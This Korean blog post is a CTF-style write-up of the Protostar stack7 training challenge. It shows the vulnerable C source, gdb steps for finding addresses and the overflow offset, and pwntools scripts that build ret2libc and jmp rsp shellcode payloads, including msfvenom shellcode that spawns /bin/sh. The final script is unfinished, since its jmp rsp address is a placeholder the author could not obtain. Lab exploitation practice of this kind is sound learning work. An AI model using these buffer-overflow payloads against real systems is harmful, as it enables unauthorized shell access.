Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 )

시스템 해킹|2024. 5. 19. 07:07
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();
}

protostar stack -7 소스코드이다.

 

두가지 방법을 사용한다. 

하나는 수동컴파일

하나는 기존 프로토스타 파일을 사용한다.

 

 

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

얻을수 있는 범위 bf를 사용하지 못하게 만들었다.

b0000~~ 으로 했기떄문에

즉 이번에는 시스템 함수를 사용할 수없다 

 

 

 

gcc -w -no-pie -z execstack -o stack7-1 stack7.c

컴파일하고 실행하면

path 경로를 쓰는창이나온다

 

 

 

#!stack7.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 80

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack7'])
p.sendline(payload)
p.interactive()

 

stack 6에서 사용한 exploit코드를 가져온다.

그리고 먼저 stack7에서 사용할 주소를 교체한다.

컴파일된 파일이 64비트환경에서 컴파일해서 64비트로 증가해서 주소도 달라졋을것

 

 

disas main

 

b *main+31

run

 

disas system

print system

system 주소 = 0x7ffff7e14490

 

 

find /bin/sh

/bin/sh 주소 = 0x7ffff7f5e031

 

기존과 다르게 이번에 수동으로 컴파일한 파일은 64비트이므로 

dummy 값은 32->64비트로 F의 개수를 두배로 증가시킨다.

 

dummy 주소 = 0xFFFFFFFFFFFFFFFF

이제 나머지 offset 의 위치를 구합니다.

 

 

b *main+31

pattern create 100

 

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

run

 

pattern offset AAKAAgAA6AAL

 

offset = 88

88번째 위치한다는것을 확인했다.

 

 

#!stack7.py

from pwn import *


system = p64(0x7ffff7e14490)
dummy = p64(0xFFFFFFFFFFFFFFFF)
bin_sh = p64(0x7ffff7f5e031)

offset = 88

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack7'])
p.sendline(payload)
p.interactive()

 

p32 -> p64로 교체

system 주소 = 0x7ffff7e14490

/bin/sh 주소 = 0x7ffff7f5e031

dummy 주소 = 0xFFFFFFFFFFFFFFFF

offset = 88

우리가 구한 주소들을 넣어 exploit코드를 작성한다.

 

하지만 이렇게해서 실행하면 안되는것을 확인함.

 

 

 

 

 

 

--- jmpcall rsp 의 주소를 구한다.

 

 

함수의 호출 구조 변수를 쓸떄는 올라가고 함수가 끝날때는 리턴을 반납하고 종료가된다.

리턴할떄는 내려가고 프로그램이 종료되지만

반납을 하게되면 rsp가 스택의 상단을 가르키며 rsp가 실행될때마다 한단계씩 낮아진다

 

return을 했으면 사용했으므로 pop을 하게되고 그럼 rsp가 한단계가 낮아지는데 그곳에는 shell코드가 위치해 있게만든다

jmp rsp를 하게되면 -> rsp 두번쨰 화살표에 위치하게되고 -> shell코드가 위치해 있는곳이되기떄문에 쉘코드를 실행하도록 코딩하여 문제를 해결합니다.

 

 

 

 

 

 

b *main

run

그뒤 jmpcall rsp 작성

 

 

 

 

 

jmpcall rsp 재현 불가

 

불필요한 코드들이 jmp rsp 같이 있어야 하는데  나의 컴파일한 케이스에서는 나오지 않은현상으로 개념만 이해한뒤 넘어갓다.

 

 

msfvenom -p linux/x64/exec CMD='/bin/sh' -f python

쉘코드를 만든다

 

buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

 

 

#!stack7.py

from pwn import *

buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"



system = p64(0x7ffff7e14490)
dummy = p64(0xFFFFFFFFFFFFFFFF)
bin_sh = p64(0x7ffff7f5e031)
jmp_rsp = p64(#jmcall rsp주소작성해야함 ex) 0x4007f3)

offset = 88

#payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

payload = b'A'*offset + jmp_rsp + buf

p = process(['stack7'])
p.sendline(payload)
p.interactive()

 

jmpcall rsp 주소, 쉘코드를 작성한 후 위와 같이 exploit코드를 활용하면

stack 7번의 문제가 해결가능햇다.

 

개념만 이해하고 넘어가자

 

 

 

댓글()